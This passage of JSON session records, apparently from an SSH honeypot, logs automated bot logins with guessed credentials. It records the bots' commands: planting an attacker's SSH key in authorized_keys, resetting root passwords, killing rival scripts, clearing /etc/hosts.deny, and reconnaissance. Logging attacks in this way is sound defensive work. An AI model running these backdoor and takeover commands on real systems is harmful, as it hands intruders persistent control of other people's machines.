0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:47:46.909651+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:47:47.761383+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:47:48.076205+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:47:48.870024+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:47:49.182984+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:47:49.510603+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T05:47:49.822365+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:47:51.125228+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:47:51.437254+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:47:53.374739+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qwerty22","method":"password","accepted":true,"tier":"other"}]} {"id":"dd49165f-d9c0-4c17-a60f-1887d32dc508","name":"silent-vigilant-lemur","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":55236,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:47:35.476443+00:00","ended_at":"2026-08-27T05:47:37.453209+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a7ea27ea-dc5e-4464-a3d1-e5bb94a37ba4","name":"salty-opal-stoat","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":55228,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:47:33.257139+00:00","ended_at":"2026-08-27T05:47:34.814036+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c86d61c7-b2bb-4e53-b47d-17a3df0cf06a","name":"stoic-tawny-bullfinch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":58176,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":325,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:45:53.986321+00:00","ended_at":"2026-08-27T05:45:55.304401+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2255,"events":[{"seq":1,"at":"2026-08-27T05:45:27.223357+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:45:27.548107+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:45:31.474734+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:45:32.939254+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:45:33.264489+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123qwe@\\nzYSnK5z7ZnhN\\nzYSnK5z7ZnhN\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:45:33.588628+00:00","kind":"input","latency_ms":null,"data":"echo \"123qwe@\\nzYSnK5z7ZnhN\\nzYSnK5z7ZnhN\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:45:33.913565+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:45:34.552460+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:45:34.679765+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T05:45:34.851230+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T05:45:35.175197+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T05:45:36.367419+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:45:36.696699+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T05:45:38.620279+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T05:45:38.948437+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T05:45:39.807448+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T05:45:40.131578+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T05:45:41.856414+00:00","kind":"output","latency_ms":null,"data":" 05:45:41 up 7 days, 2:35, 0 user, load average: 0.06, 0.06, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T05:45:42.183036+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T05:45:43.707114+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T05:45:44.032454+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T05:45:45.741620+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T05:45:46.067998+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T05:45:47.437581+00:00","kind":"output","latency_ms":null,"data":"top - 05:45:47 up 7 days, 2:35, 0 user, load average: 0.06, 0.06, 0.05\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T05:45:47.762533+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T05:45:49.023387+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T05:45:49.348901+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T05:45:49.643536+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T05:45:49.967385+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T05:45:51.333626+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":31,"at":"2026-08-27T05:45:51.658601+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T05:45:53.662686+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T05:45:53.987193+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T05:45:55.206665+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"123qwe@","method":"password","accepted":true,"tier":"other"}]} {"id":"1b72415d-7a25-4bd5-906a-18792e5b7ede","name":"dapper-hollow-waxwing","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":58200,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:45:30.185045+00:00","ended_at":"2026-08-27T05:45:31.379385+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ubuntu","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6594bd4f-80ee-4c1e-8576-78ec2e6eb398","name":"ashen-ginger-lorikeet","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":58192,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:45:28.554553+00:00","ended_at":"2026-08-27T05:45:29.544796+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"58ff4cae-b44a-4118-8862-2327b3d79ae9","name":"honest-vigilant-peccary","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":43386,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":323,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:43:53.133955+00:00","ended_at":"2026-08-27T05:43:54.758512+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:43:22.236591+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:43:22.561374+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:43:27.649316+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:43:29.639199+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:43:29.960628+00:00","kind":"input","latency_ms":null,"data":"echo \"root:FC7J3LQJMOFh\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:43:30.288524+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:43:30.622178+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:43:31.000071+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:43:32.640399+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:43:32.966555+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:43:34.384581+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:43:34.711476+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:43:36.591066+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:43:36.918646+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:43:37.940954+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:43:38.265669+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:43:39.804820+00:00","kind":"output","latency_ms":null,"data":" 05:43:39 up 7 days, 2:33, 0 user, load average: 0.04, 0.04, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:43:40.128443+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:43:42.263650+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:43:42.600997+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:43:44.585100+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:43:44.908302+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:43:46.996254+00:00","kind":"output","latency_ms":null,"data":"top - 05:43:46 up 7 days, 2:33, 0 user, load average: 0.04, 0.04, 0.03\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:43:47.320429+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:43:49.283359+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:43:49.608173+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:43:50.262150+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:43:50.586100+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:43:51.243756+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:43:51.567609+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:43:52.811511+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:43:53.134855+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:43:54.660901+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Kc@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"b2c94294-0d81-4c16-ba11-7de487c8e885","name":"flinty-steady-pangolin","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":43416,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:43:25.777466+00:00","ended_at":"2026-08-27T05:43:27.551577+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8161ce7a-2244-47b6-80b9-47fdf0d92837","name":"hearty-humble-vole","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":43402,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:43:23.291593+00:00","ended_at":"2026-08-27T05:43:25.142316+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f3ccc5e2-0539-4200-8222-3abf799f8e95","name":"jolly-daring-dipper","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":58808,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":313,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:41:55.054504+00:00","ended_at":"2026-08-27T05:41:57.305487+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:41:24.358855+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:41:24.685085+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:41:28.823427+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:41:30.407015+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:41:30.721316+00:00","kind":"input","latency_ms":null,"data":"echo \"root:2YqtmL7kZRgP\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:41:31.034750+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:41:31.358282+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:41:32.704403+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:41:32.853910+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:41:33.167480+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:41:35.237215+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:41:35.550525+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:41:36.781492+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:41:37.095543+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:41:39.164450+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:41:39.477540+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:41:41.131033+00:00","kind":"output","latency_ms":null,"data":" 05:41:41 up 7 days, 2:31, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:41:41.445229+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:41:43.024204+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:41:43.337779+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:41:45.480708+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:41:45.795650+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:41:47.970969+00:00","kind":"output","latency_ms":null,"data":"top - 05:41:47 up 7 days, 2:31, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:41:48.284048+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:41:49.137616+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:41:49.451666+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:41:50.807812+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:41:51.117579+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:41:52.325665+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:41:52.641149+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:41:54.740780+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:41:55.055021+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:41:57.210702+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Aa@11223344","method":"password","accepted":true,"tier":"other"}]} {"id":"0a0e67be-981a-4a48-93b6-90bc7dd95772","name":"eager-frosty-weasel","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":52744,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:41:27.389409+00:00","ended_at":"2026-08-27T05:41:28.730925+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"eacd46a3-b500-4724-a610-03801df61285","name":"lawful-brazen-addax","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":58812,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:41:25.411477+00:00","ended_at":"2026-08-27T05:41:26.768627+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a41147b0-202e-43e5-9f3e-205428a8b2b4","name":"lunar-sandy-condor","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":42688,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":326,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:39:55.667521+00:00","ended_at":"2026-08-27T05:39:57.381533+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2300,"events":[{"seq":1,"at":"2026-08-27T05:39:25.667759+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:39:25.991804+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:39:30.221483+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:39:32.351145+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:39:32.677127+00:00","kind":"input","latency_ms":null,"data":"echo \"root:FUWQS108t4EX\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:39:33.003758+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 